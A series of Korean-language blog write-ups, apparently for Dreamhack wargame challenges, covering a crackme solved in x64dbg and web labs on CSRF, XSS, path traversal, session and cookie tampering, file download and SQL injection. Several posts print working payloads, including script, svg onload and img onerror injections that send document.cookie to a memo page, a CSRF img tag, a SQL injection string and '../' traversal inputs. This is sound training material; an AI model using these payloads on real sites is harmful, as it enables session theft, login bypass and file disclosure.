728x90
이 문제는 사용자에게 문자열 입력을 받아 정해진 방법으로 입력값을 검증하여 correct 또는 wrong을 출력하는 프로그램이 주어집니다.

해당 바이너리를 분석하여 correct를 출력하는 입력값을 찾으세요!

x64dbg로 chall0.exe 파일을 연다.

아래와 같이 검색하여 correct 문자열을 찾는다.

 

첫 번째 칸을 더블클릭하여 찾아가면 correct가 출력되는 어셈블리 코드 부분이 나온다.

Input을 입력받는 것처럼 보인다. test eax, eax는 eax가 0인지 체크하는 코드다. test 연산은 피연산자끼리 and 연산 후 결괏값은 저장하지 않고 플래그 값 세팅하여 je, jne 같은 분기문에 영향을 준다.  eax가 0이면 ZF(zero flag)가 1로 세팅되고 바로 아래의 je chall0.7FFC3231166이 실행된다. chall0.7FFC3231166으로 가면 wrong을 출력하기에 test eax, eax 바로 위의 call chall0.7FF7C3231000에서 eax을 0이 아닌 값으로 세팅해야 한다. call chall0.7FF7C3231000을 더블클릭하면 해당 주소로 이동한다.

test eax,eax 결과 eax가 0이 아니면 jne chall0.7FF7C3231028으로 이동하여 실행하는데 그 결과 eax에 0이 세팅된다. 그렇다면 결국 wrong을 출력할 것이다. 따라서 test eax, eax 결과가 0이 되어야 한다. strcmp함수를 호출하는데 strcmp는 두 문자열이 동일하면 결괏값을 0 반환한다. 0은 eax에 저장되어 반환된다. 두 문자열 중 하나는 7FFC3232220 주소에 위치한 Compar3_the_string이다. rsp+40 주소엔 내가 입력한 문자열의 주소가 저장되어 있을 것이다.

결과적으로 flag는 DH{Compar3_the_string}이다.

728x90

'dreamhack > Reverse Engineering' 카테고리의 다른 글

rev-basic-3  (0) 2023.02.14
rev-basic-2  (0) 2023.02.13
rev-basic-1  (0) 2023.02.12
728x90

CSRF란?

희생자가 CSRF 스크립트가 포함된 웹 페이지에 접속하면 희생자의 권한을 통해 공격자가 의도한 행위(등록, 수정, 삭제 등)를 실행하게 하는 취약점이다. XSS 공격은 악성 스크립트가 클라이언트에서 실행되는데 반해, CSRF 공격은 희생자가 악성 스크립트(등록, 수정, 삭제하는 스크립트)를 서버에 요청한다는 점에 차이가 있다.

https://portswigger.net/web-security/csrf#common-defences-against-csrf

 

What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy

In this section, we'll explain what cross-site request forgery is, describe some examples of common CSRF vulnerabilities, and explain how to prevent CSRF ...

portswigger.net

소스코드를 보면 /admin/notice_flag에 접근해야 FLAG를 이용할 수 있다. admin_notice_flag 함수를 보면 remote_addr이 127.0.0.1이어야 하기 때문에 check_csrf 함수를 이용해서 /admin/notice_flag에 접근해야한다. 이에 앞서 check_csrf 함수는 flag 함수에서 호출한다. 따라서 시작점은 flag 함수이다.

flag 함수에 다음과 같이 입력 후 memo 페이지에 접속하면 FLAG가 출력된다.

<img src="/admin/notice_flag?userid=admin">

입력값은 vuln 함수의 필터링 문자열인 frame, script, on에 걸리지 않는다. check_csrf 함수에 전달되고 127.0.0.1(admin)의 vuln페이지의 입력값으로 전달된다. img 태그가 실행되며 admin_notice_flag 함수가 실행된다. ip가 127.0.0.1이고 userid가 admin이 되어 memo_text에 추가된다. memo_text는 memo 페이지에 접속하면 출력된다.

 

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

CSRF-2  (0) 2023.02.12
command-injection-1  (0) 2023.02.12
XSS-2  (0) 2023.02.12
devtools-sources  (0) 2023.02.11
pathtraversal  (0) 2023.02.11
728x90

XSS란?

크로스 사이트 스크립팅은 공격자가 희생자의 브라우저에 스크립트가 실행되도록 하여 사용자의 쿠키나 세션 등을 탈취하는 공격이다. 공격 방식에 따라 Stored XSS, Reflected XSS가 있다.

Stored XSS는 공격자가 게시판의 게시글에 스크립트를 저장하여 희생자가 게시글을 요청하면 서버는 스크립트가 포함된 게시글을 돌려주고 희생자의 브라우저에서 스크립트가 실행된다.

Reflected XSS는 스크립트가 포함된 링크를 클릭하면 스크립트가 포함된 요청이 전송되고, 서버로부터 스크립트가 포함된 HTML 문서를 수신함으로써 브라우저에서 스크립트가 실행된다.

XSS-1과의 차이는 vuln 페이지에서 <script>문이 실행되지 않는 것이다.

XSS-1과 동작 방식은 동일하다. flag 페이지에서 입력하면 FLAG 값이 check_xss 함수에 전달되고 admin(127.0.0.1)이 vuln 페이지에 param 인자 값을 설정하여 요청하면서 cookie에 저장된 FLAG 값을 memo 페이지에 출력하는 것이다.

우회를 위해 svg 태그를 이용한다. svg 그래픽을 이용하는데 필요한 태그라고 한다.

onload는 웹 페이지가 모든 콘텐츠(이미지, 스크립트 파일, CSS 파일 등)를 완전히 로드한 후 스크립트를 실행하기 위해 <body> 요소 내에서 자주 사용한다.

<svg onload=location.href="http://127.0.0.1:8000/memo?memo="+document.cookie>

flag 페이지에서 입력값을 전달했다.

memo 페이지에 접속하면 flag가 보인다.

참고로 img 태그를 이용하는 방식도 가능하다.

<img src="abc" onerror="location.href='/memo?memo='+document.cookie">

이미지를 로드할때 사용한다. src는 포함할 이미지 경로이며 onerror는 에러 발생시 실행된다.

abc라는 이미지는 없기에 onerror가 실행된다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

command-injection-1  (0) 2023.02.12
CSRF-1  (0) 2023.02.12
devtools-sources  (0) 2023.02.11
pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
728x90

파일 다운로드 후 압축 해제한다.

index.html 파일에 들어간다.

f12(개발자 옵션)을 눌러서 소스 탭에 들어간다.

ctrl + shift + f 누르면 모든 파일에 대한 내용을 검색할 수 있다.

FLAG의 기본 형식 DH를 입력하니 FLAG 값이 나왔고 webpack:///styles/main.scss에 있다길래 다시 확인해보니 존재한다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

CSRF-1  (0) 2023.02.12
XSS-2  (0) 2023.02.12
pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
file-download-1  (0) 2023.02.09
728x90

pathtraversal은 ..과 / 을 이용하여 접근해서 안 되는 파일이나 디렉터리에 접근하는 공격이다.

핵심 코드는 다음과 같다.

def internal_api(func):
    @wraps(func)
    def decorated_view(*args, **kwargs):
        if request.remote_addr == '127.0.0.1':
            return func(*args, **kwargs)
        else:
            abort(401)
    return decorated_view

@app.route('/get_info', methods=['GET', 'POST'])
def get_info():
    if request.method == 'GET':
        return render_template('get_info.html')
    elif request.method == 'POST':
        userid = request.form.get('userid', '')
        info = requests.get(f'{API_HOST}/api/user/{userid}').text
        return render_template('get_info.html', info=info)

@app.route('/api/flag')
@internal_api
def flag():
    return FLAG

/api/flag에 접근해야 flag를 볼 수 있기에 get_info 함수로 ../flag를 입력하여 post 한다. 127.0.0.1:8000/api/user/../flag는 127.0.0.1:8000/api/flag와 동일하다. 그럼 flag 함수 실행 전 internal_api 데코레이터에 flag 함수를 인자로 넘기면서 호출한다. return decorated_view에 의해 decorated_view 실행된다. 접속 ip가 127.0.0.1이어야 func 즉, internal_api의 인자로 전달되었던 flag 함수가 실행된다.

@wraps, @internal_api는 데코레이터인데 작동방식은 다음의 글을 참고하면 도움이 된다.

https://yaboong.github.io/python/2018/03/04/python-decorator-example/

 

파이썬 데코레이터

개요 파이썬 데코레이터에 대한 간단한 설명과 예제

yaboong.github.io

get_info 페이지에서 userid에 ../flag를 입력 후 View 버튼을 누르면 예상한 결과가 나오지 않는다. Burp Suite를 실행 후 패킷을 본다. 분명히 ../flag를 입력했는데 userid가 undefined가 되어있다. ../flag로 수정 후 forward 해보자.

FLAG 등장

DH{8a33bb6fe0a37522bdc8adb65116b2d4}
728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

XSS-2  (0) 2023.02.12
devtools-sources  (0) 2023.02.11
session-basic  (0) 2023.02.09
file-download-1  (0) 2023.02.09
XSS-1  (0) 2023.02.07
728x90
쿠키와 세션으로 인증 상태를 관리하는 간단한 로그인 서비스입니다.
admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다.

플래그 형식은 DH{…} 입니다.
if __name__ == '__main__':
    import os
    # create admin sessionid and save it to our storage
    # and also you cannot reveal admin's sesseionid by brute forcing!!! haha
    session_storage[os.urandom(32).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

함수가 실행되면서 처음에 비어있는 session_storage에 랜덤한 세션 id를 key로 admin을 value로 넣고 있다.

@app.route('/admin')
def admin():
    # developer's note: review below commented code and uncomment it (TODO)

    #session_id = request.cookies.get('sessionid', None)
    #username = session_storage[session_id]
    #if username != 'admin':
    #    return render_template('index.html')

    return session_storage

admin 함수에서 session_storage를 반환하고 있다.

http://host3.dreamhack.games:14823/admin로 접속하니 세션 id가 나온다.

{"ac38f2333c6c0fe28e748e2c1079228f4cec5ba273974c9b2406e282f7e5b10d":"admin"}
@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        # get username from session_storage
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

쿠키에 sessionid 이름으로 admin을 값으로 하여 추가하고 첫 페이지에서 새로고침하면 flag가 나온다.

 

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

devtools-sources  (0) 2023.02.11
pathtraversal  (0) 2023.02.11
file-download-1  (0) 2023.02.09
XSS-1  (0) 2023.02.07
simple_sqli  (0) 2023.02.07
728x90
문제 정보
File Download 취약점이 존재하는 웹 서비스입니다.
flag.py를 다운로드 받으면 플래그를 획득할 수 있습니다.

Upload My Memo 메뉴에 들어가서 글을 쓰고 올리면 / 페이지에 출력된다. 글을 클릭하면 read_memo 함수가 실행된다.

read 함수의 name인자에 제목을 넣으면 해당 제목의 글을 읽는다.

UPLOAD_DIR = 'uploads'

@APP.route('/read')
def read_memo():
    error = False
    data = b''

    filename = request.args.get('name', '')

    try:
        with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
            data = f.read()
    except (IsADirectoryError, FileNotFoundError):
        error = True


    return render_template('read.html',
                           filename=filename,
                           content=data.decode('utf-8'),
                           error=error)

uploads 디렉토리 밑에 filename이 위치한다.

name 인자에 flag.py를 입력하니 없다고 한다.

../flag.py를 입력하니 답이 나온다. uploads 디렉토리와 같은 경로에 flag.py가 존재했다.

FLAG = 'DH{uploading_webshell_in_python_program_is_my_dream}'
728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
XSS-1  (0) 2023.02.07
simple_sqli  (0) 2023.02.07
cookie  (0) 2023.02.07
728x90

XSS란?

XSS란?

크로스 사이트 스크립팅은 공격자가 희생자의 브라우저에 스크립트가 실행되도록 하여 사용자의 쿠키나 세션 등을 탈취하는 공격이다. 공격 방식에 따라 Stored XSS, Reflected XSS가 있다.

Stored XSS는 공격자가 게시판의 게시글에 스크립트를 저장하여 희생자가 게시글을 요청하면 서버는 스크립트가 포함된 게시글을 돌려주고 희생자의 브라우저에서 스크립트가 실행된다.

Reflected XSS는 스크립트가 포함된 링크를 클릭하면 스크립트가 포함된 요청이 전송되고, 서버로부터 스크립트가 포함된 HTML 문서를 수신함으로써 브라우저에서 스크립트가 실행된다.

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

flag 함수에서 FLAG가 등장한다. 다른 함수가 flag 함수를 호출하는 것도 아니라서 flag 함수에서 출발해 본다.

flag 함수는 내부에서 check_xss 함수를 호출한다. 인자에 FLAG가 존재한다.

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

urlib.parse.quote(param)은 param을 URL 인코딩한다. url 문자열은 웹 사이트의 vuln(xss) page에서 param의 인자를 입력하는 행위다. 그리고 read_url 함수를 호출한다.

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

read_url 함수는 쿠키를 추가해서 인자로 전달한 url 창을 띄웠다가 닫는다.

xss-1 웹 사이트를 보면 vuln(xss) page, memo, flag가 있다.

vuln(xss) page는 XSS 공격이 가능하다. 접속하자마자 1이 뜬다.

memo에서는 접속할 때마다 hello만 하나씩 출력이 추가되며 XSS는 통하지 않는다.

flag는 check_xss함수를 호출하고 check_xss 함수를 보면 vuln(xss) page에 인자값을 전달한다.

FLAG 값이 flag 함수에서 등장하여 cookie 인자로 check_xss로 전달되고 read_url 함수에서 driver.add_cookie 함수에 의해 쿠키값으로 추가된다. 이때 쿠키 값을 memo 페이지에 기록하면 memo 페이지에서 다음과 같이 FLAG 값을 볼 수 있다.

flag 페이지에 접속하여 다음과 같이 입력한다.

<script>location.href="http://127.0.0.1:8000/memo?memo="+document.cookie</script>

javascript 문인데 location.href 뒤에 등장하는 memo 페이지로 리다이렉션 되며 memo 파라미터로 쿠키값을 전달한다. flag 함수에서 등장한 FLAG 값이 check_xss 함수를 거쳐 read_url 함수에서 쿠키에 FLAG를 저장하였기 때문에 document.cookie를 이용해 쿠키를 출력한다. memo 페이지에 접속하면 FLAG가 보인다.

hello
flag=DH{2c01577e9542ec24d68ba0ffb846508e}
hello

flag 함수의 인자로 http://host3.dreamhack.games:포트번호 형태가 아닌 http://127.0.0.1:8000을 줬는지, 또는 flag 함수에 <script>alert(document.cookie)</script>를 입력하면 안 풀리는 이유는 127.0.0.1이 내 ip가 아닌 서버를 실행시킨 admin의 ip이기 때문이다. 첫 번째 경우는 127.0.0.1을 이용함으로써 admin의 쿠키 값에 추가된 flag를 memo 페이지에 출력할 수 있으며 두 번째 경우는 alert 창은 admin의 PC에 뜰 것이다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
file-download-1  (0) 2023.02.09
simple_sqli  (0) 2023.02.07
cookie  (0) 2023.02.07
728x90
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get('userid')
        userpassword = request.form.get('userpassword')
        res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
        if res:
            userid = res[0]
            if userid == 'admin':
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

핵심 코드는 login 함수다. flag를 출력하는 문이 보인다.

Login 페이지에서 userid & password 전송하면 POST 방식이 되고 login 함수의 else 부분이 실행된다. 쿼리 실행결과 userid가 admin이면 FLAG가 출력된다.

userid에 admin을 넣고 password에 " or userid="admin 을 넣었다. 결과적으로 아래의 쿼리가 완성된다.

select * from users where userid="admin" and userpassword="" or userid="admin"

 

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
file-download-1  (0) 2023.02.09
XSS-1  (0) 2023.02.07
cookie  (0) 2023.02.07
728x90
@app.route('/')
def index():
    username = request.cookies.get('username', None)
    if username:
        return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
    return render_template('index.html')

app.py 코드 중 핵심 부분이다.

/(루트) 페이지 즉, 첫 페이지에 접속하면 index 함수가 실행된다.

index 함수는 username 이름의 쿠키 값이 admin이면 "flag is FLAG값" 형태로 출력한다.

개발자 옵션(f12)을 이용해 cookie를 추가한다.

웹 페이지를 새로고침 하면 flag가 나온다.

 

 

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
file-download-1  (0) 2023.02.09
XSS-1  (0) 2023.02.07
simple_sqli  (0) 2023.02.07

+ Recent posts